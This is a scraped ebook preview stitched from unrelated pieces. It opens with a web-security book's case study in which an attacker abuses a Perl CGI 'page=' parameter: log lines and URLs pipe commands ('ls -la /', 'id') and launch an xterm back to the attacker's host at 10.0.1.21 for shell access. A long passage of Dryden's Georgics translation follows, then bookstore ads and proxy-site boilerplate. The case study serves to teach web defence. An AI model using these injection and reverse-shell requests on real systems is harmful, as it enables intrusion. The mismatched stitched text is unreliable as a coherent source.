8 The E-Commerce Playground

Figure 0-5 Output of “ls –la,” “id,” and “which xterm”

next two requests made by the attacker (group f) illustrate this possi-
bility:

10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+-


la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228
10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+-
display+10.0.1.21:0.0+%26| HTTP/1.0" 200

Instead of trying to open arbitrary files, the attacker uses the pipe
character “|” in the file parameter, followed by commands of his choice.
Now instead of a file being opened, Perl opens a file handle, which
receives the standard output generated by the commands specified in
the filename parameter. Of the two final requests made by the attacker,
the first one is:

http://www.acme-art.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
Case Study: Acme Art, Inc., Hacked! 9

Figure 0-6 Attacker launching an xterm and gaining interactive shell access

The attacker then runs three Unix commands together:

ls -la /
id
which xterm

Note the pipe characters around the “page=” parameter. The com-
mands are separated with the hex character “0A,” which is the line-
feed character. Figure 0-5 reveals what was displayed on the attacker’s
browser.
The display shows a file list of the server’s root directory from the
“ls -la /” command, the effective user id of the process running index.cgi
from the “id” command, and the path to the xterm binary from the
“which xterm” command. The attacker is now able to run arbitrary com-
mands on the Web server under the security privileges of the “nobody”
account. Fed up with issuing single commands over the browser, he
decides to use xterm to gain interactive shell access to the Web server.
The last request captured on the Web server was the attacker’s attempt
to launch an xterm connection back to his system by sending the fol-
lowing URL request:

http://www.acme-art.com/index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26|
10 The E-Commerce Playground

The command within the URL translates to “xterm -display


10.0.1.21:0.0 &.” The xterm command launches an xterm window back
to the attacker’s display on 10.0.1.21:0.0. Figure 0-6 reveals what the
attacker saw.
The attacker now has full interactive shell level access to Acme Art,
Inc.’s system. The Web server log trail ends here, but we’ve learned what
we need to know. Despite all the security audits, firewalls, strong
password policies, and what not, the attacker gained access to the Web
server by exploiting a trivial, careless oversight and some fancy URL con-
struction to funnel the attack by using nothing but HTTP.
CHAPTER 1

Web Languages:
The Babylon
of the 21st
Centur y

Bab·y·lon - n.
1. A city or place of great luxury, sensuality, and often vice and
corruption.
2. A place of captivity or exile.
3. A city devoted to materialism and sensual pleasure
12 Web Languages

Introduction
B ABYLONIANS were known for the establishment of a currency and
focused much of their effort on hedonistic ventures. But unlike many
civilizations of their time, they spoke a single language. And it was the
power of this single language that enabled its members to develop
remarkable structures such as the hanging gardens of Babylon, one of
the seven ancient wonders of the world.
But Babylon’s lingual unity also was its demise, according to Hebrew
accounts in the Bible. In their arrogance, the Babylonians tried to build
a tower as tall as the heavens to make themselves equal to God. But God
became angry and caused them to speak in different languages. As a
result, the Babylonians could no longer communicate with each other
and construction of the tower stopped, never extending to the heavens.
Thus the tower came to be known as the Tower of Babel and the word
Babylon to mean a place of “confusion.” And this is precisely what the
Internet and the World Wide Web, or the Web, has become—an empire
of confusion and superfluous languages, all of which may contribute
to its potential downfall.
In 1995, the ubiquity of the Web was a mere daydream, and the Web
languages and technologies in place at the time were mere child’s play.
As a result, hackers simply weren’t very interested in breaking into Web
sites. Today, the landscape has changed, morphing from a singular
purpose into a veritable smorgasbord of languages and technologies ripe
for the hacker’s picking. And plucked they are on a daily basis from the
unsuspecting individual, company, organization, or government.
Today’s environment of stop-at-nothing cyber-terrorism isn’t going
away any time soon and, as the saying goes, “You must send a thief to
catch a thief.” So just get over any preconceived notions about how
security works. If you don’t understand the game, you’ll be swept away
by it.
This chapter isn’t intended to be the de facto standard for detailing
Web languages. Instead, it is meant to introduce Web programmers and
security professionals to the languages being used today, their func-
tionalities, syntaxes, and potential security risks. To comprehend the
material in the later chapters, you’ll need to understand the concepts
presented in the early chapters. So read slowly, repeat if necessary, and if
you don’t altogether follow the content right away don’t worry, you’ll
most likely pick it up as you go along.
Another Random Scribd Document
with Unrelated Content
Bacchus and fostering Ceres, powers divine,
Who gave us corn for mast, for water, wine

Ye Fauns, propitious to the rural swains,
Ye Nymphs, that haunt the mountains and
the plains,
Join in my work, and to my numbers bring
Your needful succour; for your gifts I sing.
And thou, whose trident struck the teeming
earth,
And made a passage for the courser's birth;
And thou, for whom the Cæan shore
sustains
The milky herds, that graze the flowery
plains;
And thou, the shepherds' tutelary god,
Leave, for a while, O Pan! thy loved abode;
And, if Arcadian fleeces be thy care,
From fields and mountains to my song
repair.
Inventor, Pallas, of the fattening oil,
Thou founder of the plough, and
ploughman's toil;
And thou, whose hands the shrowd-like
cypress rear, }
Come, all ye gods and goddesses, that wear
}
The rural honours, and increase the year; }
You, who supply the ground with seeds of
grain;
And you, who swell those seeds with kindly
rain;
And chiefly thou, whose undetermined state
Is yet the business of the gods' debate,
Whether in after times to be declared
The patron of the world, and Rome's
peculiar guard,
Or o'er the fruits and seasons to preside,
And the round circuit of the year to guide—
Powerful of blessings, which thou strew'st
around,
And with thy goddess mother's myrtle
crowned.
Or wilt thou, Cæsar, chuse the watery reign,
To smooth the surges, and correct the
main?
Then mariners, in storms, to thee shall
pray; }
Even utmost Thule shall thy power obey; }
And Neptune shall resign the fasces of the
sea. }
The watery virgins for thy bed shall strive,
And Tethys all her waves in dowry give.
Or wilt thou bless our summers with thy ray
And, seated near the Balance, poise the
days,
Where, in the void of heaven, a space is
free,
Betwixt the Scorpion and the Maid, for
thee?
The Scorpion, ready to receive thy laws,
Yields half his region, and contracts his
claws.
Whatever part of heaven thou shalt obtain,
(For let not hell presume of such a reign;
Nor let so dire a thirst of empire move
Thy mind, to leave thy kindred gods above;
Though Greece admires Elysium's blest
retreat,
Though Proserpine affects her silent seat,
And, importuned by Ceres to remove,
Prefers the fields below to those above),
Be thou propitious, Cæsar! guide my
course,
And to my bold endeavours add thy force:
Pity the poet's and the ploughman's cares;
}
Interest thy greatness in our mean affairs, }
And use thyself betimes to hear and grant
our prayers. }
While yet the spring is young, while earth
unbinds
Her frozen bosom to the western winds;
While mountain snows dissolve against the
sun,
And streams, yet new, from precipices run;
Even in this early dawning of the year,
Produce the plough, and yoke the sturdy
steer,
And goad him till he groans beneath his
toil,
Till the bright share is buried in the soil.
That crop rewards the greedy peasant's
pains, }
Which twice the sun, and twice the cold
sustains, }
And bursts the crowded barns with more
than promised gains. }
But, ere we stir the yet unbroken ground,
The various course of seasons must be
found;
The weather, and the setting of the winds,
The culture suiting to the several kinds
Of seeds and plants, and what will thrive
and rise,
And what the genius of the soil denies.
This ground with Bacchus, that with Ceres,
suits:
That other loads the trees with happy
fruits:
A fourth, with grass unbidden, decks the
ground.
Thus Tmolus is with yellow saffron
crowned:
India black ebon and white ivory bears;
And soft Idume weeps her odorous tears
Thus Pontus sends her beaver-stones from
far;
And naked Spaniards temper steel for war:
Epirus, for the Elean chariot, breeds
(In hopes of palms) a race of running
steeds.
This is th' original contract; these the laws
Imposed by Nature, and by Nature's cause,
On sundry places, when Deucalion hurled
His mother's entrails on the desert world;
Whence men, a hard laborious kind, were
born. }
Then borrow part of winter for thy corn; }
And early, with thy team, the glebe in
furrows turn; }
That, while the turf lies open and unbound,
Succeeding suns may bake the mellow
ground.
But, if the soil be barren, only scar
The surface, and but lightly print the share,
When cold Arcturus rises with the sun;
Lest wicked weeds the corn should over-run
In watery soils; or lest the barren sand
Should suck the moisture from the thirsty
land.
Both these unhappy soils the swain
forbears,
And keeps a sabbath of alternate years,
That the spent earth may gather heart
again,
And, bettered by cessation, bear the grain.
At least where vetches, pulse, and tares,
have stood,
And stalks of lupines grew, (a stubborn
wood,)
The ensuing season, in return, may bear
The bearded product of the golden year:[5]
For flax and oats will burn the tender field,
And sleepy poppies harmful harvests yield.
But sweet vicissitudes of rest and toil
Make easy labour, and renew the soil.
Yet sprinkle sordid ashes all around,
And load with fattening dung thy fallow
ground.
Thus change of seeds for meagre soils is
best;
And earth manured, not idle, though at
rest.
Long practice has a sure improvement
found,
With kindled fires to burn the barren
ground,
When the light stubble, to the flames
resigned,
Is driven along, and crackles in the wind.
Whether from hence the hollow womb of
earth
Is warmed with secret strength for better
birth;
Or, when the latent vice is cured by fire,
Redundant humours through the pores
expire;
Or that the warmth distends the chinks, and
makes
New breathings, whence new nourishment
she takes;
Or that the heat the gaping ground
constrains,
New knits the surface, and new strings the
veins;
Lest soaking showers should pierce her
secret seat, }
Or freezing Boreas chill her genial heat, }
Or scorching suns too violently beat. }
Nor is the profit small the peasant makes,
Who smooths with harrows, or who pounds
with rakes,
The crumbling clods: nor Ceres from on
high
Regards his labours with a grudging eye;
Nor his, who ploughs across the furrowed
grounds,
And on the back of earth inflicts new
wounds;
For he, with frequent exercise, commands
The unwilling soil, and tames the stubborn
lands.
Ye swains, invoke the powers who rule
the sky,
For a moist summer, and a winter dry;
For winter drought rewards the peasant's
pain,
And broods indulgent on the buried grain.
Hence Mysia boasts her harvests, and the
tops
Of Gargarus admire their happy crops.
When first the soil receives the fruitful seed,
Make no delay, but cover it with speed:
So fenced from cold, the pliant furrows
break,
Before the surly clod resists the rake;
And call the floods from high, to rush amain
With pregnant streams, to swell the
teeming grain.
Then, when the fiery suns too fiercely play,
And shrivelled herbs on withering stems
decay,
The wary ploughman, on the mountain's
brow,
Undams his watery stores—huge torrents
flow,
And, rattling down the rocks, large moisture
yield,
Tempering the thirsty fever of the field—
And, lest the stem, too feeble for the
freight,
Should scarce sustain the head's unwieldy
weight,
Sends in his feeding flocks betimes, to
invade
The rising bulk of the luxuriant blade,
Ere yet the aspiring offspring of the grain
O'ertops the ridges of the furrowed plain;
And drains the standing waters, when they
yield
Too large a beverage to the drunken field:
But most in autumn, and the showery
spring,
When dubious months uncertain weather
bring;
When fountains open, when impetuous rain
Swells hasty brooks, and pours upon the
plain;
When earth with slime and mud is covered
o'er,
Or hollow places spew their watery store.
Nor yet the ploughman, nor the labouring
steer,
Sustain alone the hazards of the year:
But glutton geese, and the Strymonian
crane,
With foreign troops invade the tender grain;
And towering weeds malignant shadows
yield;
And spreading succory chokes the rising
field.
The sire of gods and men, with hard
decrees,
Forbids our plenty to be bought with ease,
And wills that mortal men, inured to toil,
Should exercise, with pains, the grudging
soil;
Himself invented first the shining share,
And whetted human industry by care;
Himself did handicrafts and arts ordain,
Nor suffered sloth to rust his active reign.
Ere this, no peasant vexed the peaceful
ground,
Which only turfs and greens for altars
found:
No fences parted fields, nor marks nor
bounds
Distinguished acres of litigious grounds;
But all was common, and the fruitful earth
Was free to give her unexacted birth.
Jove added venom to the viper's brood,
And swelled, with raging storms, the
peaceful flood;
Commissioned hungry wolves t' infest the
fold,
And shook from oaken leaves the liquid
gold;
Removed from human reach the cheerful
fire,
And from the rivers bade the wine retire;
That studious need might useful arts
explore;
From furrowed fields to reap the foodful
store,
And force the veins of clashing flints t'
expire
The lurking seeds of their celestial fire.
Then first on seas the hollowed alder
swam;
Then sailors quartered heaven, and found a
name
For every fixed and every wandering star—
The Pleiads, Hyads, and the Northern Car.
Then toils for beasts, and lime for birds,
were found,
And deep-mouthed dogs did forest-walks
surround;
And casting-nets were spread in shallow
brooks,
Drags in the deep, and baits were hung on
hooks.
Then saws were toothed, and sounding
axes made;
(For wedges first did yielding wood invade,)
And various arts in order did succeed,
(What cannot endless labour, urged by
need?)
First Ceres taught, the ground with grain
to sow,
And armed with iron shares the crooked
plough;
When now Dodonian oaks no more supplied
Their mast, and trees their forest-fruit
denied.
Soon was his labour doubled to the swain,
And blasting mildews blackened all his
grain:
Tough thistles choked the fields, and killed
the corn,
And an unthrifty crop of weeds was born:
Then burs and brambles, an unbidden crew
Of graceless guests, the unhappy fields
subdue;
And oats unblest, and darnel domineers,
And shoots its head above the shining ears;
So that, unless the land with daily care
Is exercised, and, with an iron war
Of rakes and harrows, the proud foes
expelled,
And birds with clamours frighted from the
field—
Unless the boughs are lopped that shade
the plain,
And heaven invoked with vows for fruitful
rain—
On others'[6] crops you may with envy look,
And shake for food the long-abandoned
oak.
Nor must we pass untold what arms they
wield,
Who labour tillage and the furrowed field;
Without whose aid the ground her corn
denies,
And nothing can be sown, and nothing rise

The crooked plough, the share, the
towering height
Of waggons, and the cart's unwieldy
weight,
The sled, the tumbril, hurdles, and the flail,
The fan of Bacchus, with the flying sail—
These all must be prepared, if ploughmen
hope
The promised blessing of a bounteous crop.
Young elms, with early force, in copses
bow,
Fit for the figure of the crooked plough.
Of eight foot long a fastened beam prepare:
}
On either side the head, produce an ear; }
And sink a socket for the shining share. }
Of beech the plough-tail, and the bending
yoke,
Or softer linden hardened in the smoke.
I could be long in precepts; but I fear
So mean a subject might offend your ear.
Delve of convenient depth your thrashing
floor:
With tempered clay then fill and face it o'er;
And let the weighty roller run the round,
To smooth the surface of the unequal
ground;
Lest, cracked with summer heats, the
flooring flies,
Or sinks, and through the crannies weeds
arise:
For sundry foes the rural realm surround:
The field-mouse builds her garner under
ground
For gathered grain: the blind laborious mole
In winding mazes works her hidden hole:
In hollow caverns vermin make abode—
The hissing serpent, and the swelling toad:
The corn-devouring weasel here abides,
And the wise ant her wintery store
provides.
Mark well the flowering almonds in the
wood:
If odorous blooms the bearing branches
load,
The glebe will answer to the sylvan reign;
Great heats will follow, and large crops of
grain.
But, if a wood of leaves o'ershade the tree,
Such and so barren will thy harvest be:
In vain the hind shall vex the thrashing-
floor;
For empty chaff and straw will be thy store.
Some steep their seed, and some in
cauldrons boil,
With vigorous nitre and with lees of oil,
O'er gentle fires, the exuberant juice to
drain,
And swell the flattering husks with fruitful
grain.
Yet is not the success for years assured,
Though chosen is the seed, and fully cured,
Unless the peasant, with his annual pain,
Renews his choice, and culls the largest
grain.
Thus all below, whether by Nature's curse,
Or Fate's decree, degenerate still to worse.
So the boat's brawny crew the current
stem,
And, slow advancing, struggle with the
stream:
But, if they slack their hands, or cease to
strive,
Then down the flood with headlong haste
they drive.
Nor must the ploughman less observe the
skies,
When the Kids, Dragon, and Arcturus, rise,
Than sailors homeward bent, who cut their
way
Through Helle's stormy straits, and oyster-
breeding sea.
But, when Astræa's balance, hung on high,
Betwixt the nights and days divides the sky,
Then yoke your oxen, sow your winter
grain,
Till cold December comes with driving rain.
Linseed and fruitful poppy bury warm,
In a dry season, and prevent the storm.
Sow beans and clover in a rotten soil,
And millet rising from your annual toil,
When with his golden horns, in full career, }
The Bull beats down the barriers of the
year, }
And Argo[7] and the Dog forsake the
northern sphere. }
But, if your care to wheat alone extend, }
Let Maia with her sisters first descend, }
And the bright Gnossian diadem downward
bend, }
Before you trust in earth your future hope;
Or else expect a listless lazy crop.
Some swains have sown before; but most
have found
A husky harvest from the grudging ground.
Vile vetches would you sow, or lentils lean,
The growth of Egypt, or the kidney-bean?
Begin when the slow waggoner descends;
Nor cease your sowing till mid-winter ends.
For this, through twelve bright signs Apollo
guides
The year, and earth in several climes
divides.
Five girdles bind the skies: the torrid zone
Glows with the passing and repassing sun:
Far on the right and left, the extremes of
heaven
To frosts and snows and bitter blasts are
given:
Betwixt the midst and these, the gods
assigned
Two habitable seats for human kind,
And, 'cross their limits, cut a sloping way,
Which the twelve signs in beauteous order
sway.
Two poles turn round the globe; one seen
to rise
O'er Scythian hills, and one in Libyan skies;
The first sublime in heaven, the last is
whirled
Below the regions of the nether world.
Around our pole the spiry Dragon glides,
And, like a winding stream, the Bears
divides—
The less and greater, who, by Fate's decree,
Abhor to dive beneath the northern sea.[8]
There, as they say, perpetual night is found
In silence brooding on the unhappy ground:
Or, when Aurora leaves our northern
sphere,
She lights the downward heaven, and rises
there;
And, when on us she breathes the living
light,
Red Vesper kindles there the tapers of the
night.
From hence uncertain seasons we may
know,
And when to reap the grain, and when to
sow;
Or when to fell the furzes; when 'tis meet
To spread the flying canvas for the fleet.
Observe what stars arise, or disappear;
And the four quarters of the rolling year.
But, when cold weather and continued rain
The labouring husband in his house
restrain,
Let him forecast his work with timely care, }
Which else is huddled, when the skies are
fair: }
Then let him mark the sheep, or whet the
shining share, }
Or hollow trees for boats, or number o'er
His sacks, or measure his increasing store,
Or sharpen stakes, or head the forks, or
twine
The sallow twigs to tie the straggling vine;
Or wicker baskets weave, or air the corn,
Or grinded grain betwixt two marbles turn.
No laws, divine or human, can restrain
From necessary works the labouring swain.
Even holidays and feasts permission yield
To float the meadows, or to fence the field,
To fire the brambles, snare the birds, and
steep
In wholesome water-falls the woolly sheep.
And oft the drudging ass is driven, with toil,
To neighbouring towns with apples and with
oil;
Returning, late and loaden, home with gain
Of bartered pitch, and hand-mills for the
grain.
The lucky days, in each revolving moon,
For labour chuse: the fifth be sure to shun;
That gave the Furies and pale Pluto birth,
And armed, against the skies, the sons of
earth.
With mountains piled on mountains, thrice
they strove
To scale the steepy battlements of Jove;
And thrice his lightning and red thunder
played,
And their demolished works in ruin laid.
The seventh is, next the tenth, the best to
join
Young oxen to the yoke, and plant the vine.
Then, weavers, stretch your stays upon the
weft:
The ninth is good for travel, bad for theft.
Some works in dead of night are better
done,
Or when the morning dew prevents the
sun.
Parched meads and stubble mow by
Phœbe's light,
Which both require the coolness of the
night;
For moisture then abounds, and pearly
rains
Descend in silence to refresh the plains.
The wife and husband equally conspire
To work by night, and rake the winter fire:
He sharpens torches in the glimmering
room;
She shoots the flying shuttle through the
loom,
Or boils in kettles must of wine, and skims,
With leaves, the dregs that overflow the
brims:
And, till the watchful cock awakes the day,
She sings, to drive the tedious hours away.
But, in warm weather, when the skies are
clear,
By day-light reap the product of the year;
And in the sun your golden grain display,
And thrash it out, and winnow it by day.
Plough naked, swain, and naked sow the
land;
For lazy winter numbs the labouring hand.
In genial winter, swains enjoy their store,
Forget their hardships, and recruit for more.
The farmer to full bowls invites his friends,
And, what he got with pains, with pleasure
spends.
So sailors, when escaped from stormy seas,
First crown their vessels, then indulge their
ease.
Yet that's the proper time to thrash the
wood
For mast of oak, your fathers' homely food;
To gather laurel-berries, and the spoil
Of bloody myrtles, and to press your oil;
For stalking cranes to set the guileful snare;
T'inclose the stags in toils, and hunt the
hare;
With Balearic slings, or Gnossian bow,
To persecute from far the flying doe,
Then, when the fleecy skies new clothe the
wood,
And cakes of rustling ice come rolling down
the flood.
Now sing we stormy stars, when autumn
weighs }
The year, and adds to nights, and shortens
days, }
And suns declining shine with feeble rays: }
What cares must then attend the toiling
swain; }
Or when the low'ring spring, with lavish
rain, }
Beats down the slender stem and bearded
grain, }
While yet the head is green, or, lightly
swelled
With milky moisture, overlooks the field.
Even when the farmer, now secure of fear,
Sends in the swains to spoil the finished
year,
Even while the reaper fills his greedy hands,
And binds the golden sheaves in brittle
bands,
Oft have I seen a sudden storm arise,
From all the warring winds that sweep the
skies:
The heavy harvest from the root is torn,
And whirled aloft the lighter stubble borne:
With such a force the flying rack is driven,
And such a winter wears the face of
heaven:
And oft whole sheets descend of sluicy rain,
Sucked by the spongy clouds from off the
main:
The lofty skies[9] at once come pouring
down,
The promised crop and golden labours
drown.
The dikes are filled; and, with a roaring
sound, }
The rising rivers float the nether ground, }
And rocks the bellowing voice of boiling
seas rebound. }
The father of the gods his glory shrouds,
Involved in tempests, and a night of clouds;
And, from the middle darkness flashing out,
By fits he deals his fiery bolts about.
Earth feels the motions of her angry god; }
Her entrails tremble, and her mountains
nod, }
And flying beasts in forests seek abode: }
Deep horror seizes every human breast;
Their pride is humbled, and their fear
confessed,
While he from high his rolling thunder
throws,
And fires the mountains with repeated
blows:
The rocks are from their old foundations
rent;
The winds redouble, and the rains
augment:
The waves on heaps are dashed against the
shore;
And now the woods, and now the billows,
roar.
In fear of this, observe the starry signs,
Where Saturn houses, and where Hermes
joins.
But first to heaven thy due devotions pay,
And annual gifts on Ceres' altars lay.
When winter's rage abates, when cheerful
hours
Awake the spring, and spring awakes the
flowers,
On the green turf thy careless limbs display,
And celebrate the mighty Mother's day;
For then the hills with pleasing shades are
crowned,
And sleeps are sweeter on the silken
ground:
With milder beams the sun securely shines;
[10]
Fat are the lambs, and luscious are the
wines.
Let every swain adore her power divine,
And milk and honey mix with sparkling
wine:
Let all the choir of clowns attend the show,
In long procession, shouting as they go;
Invoking her to bless their yearly stores,
Inviting plenty to their crowded floors.
Thus in the spring, and thus in summer's
heat,
Before the sickles touch the ripening wheat,
On Ceres call; and let the labouring hind
With oaken wreaths his hollow temples
bind:
On Ceres let him call, and Ceres praise,
With uncouth dances, and with country
lays.
And that by certain signs we may presage
Of heats and rains, and wind's impetuous
rage,
The Sovereign of the heavens has set on
high
The moon, to mark the changes of the sky;
When southern blasts should cease, and
when the swain
Should near their folds his feeding flocks
restrain.
For, ere the rising winds begin to roar,
The working seas advance to wash the
shore;
Soft whispers run along the leafy woods,
And mountains whistle to the murmuring
floods.
Even then the doubtful billows scarce
abstain
From the tossed vessel on the troubled
main;
When crying cormorants forsake the sea,
And, stretching to the covert, wing their
way;
When sportful coots run skimming o'er the
strand;
When watchful herons leave their watery
stand,
And, mounting upward with erected flight,
Gain on the skies, and soar above the sight.
And oft, before tempestuous winds arise,
The seeming stars fall headlong from the
skies,
And, shooting through the darkness, gild
the night
With sweeping glories, and long trails of
light;
Welcome to Our Bookstore - The Ultimate Destination for Book Lovers
Are you passionate about books and eager to explore new worlds of
knowledge? At our website, we offer a vast collection of books that
cater to every interest and age group. From classic literature to
specialized publications, self-help books, and children’s stories, we
have it all! Each book is a gateway to new adventures, helping you
expand your knowledge and nourish your soul
Experience Convenient and Enjoyable Book Shopping Our website is more
than just an online bookstore—it’s a bridge connecting readers to the
timeless values of culture and wisdom. With a sleek and user-friendly
interface and a smart search system, you can find your favorite books
quickly and easily. Enjoy special promotions, fast home delivery, and
a seamless shopping experience that saves you time and enhances your
love for reading.
Let us accompany you on the journey of exploring knowledge and
personal growth!

ebookgate.com

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy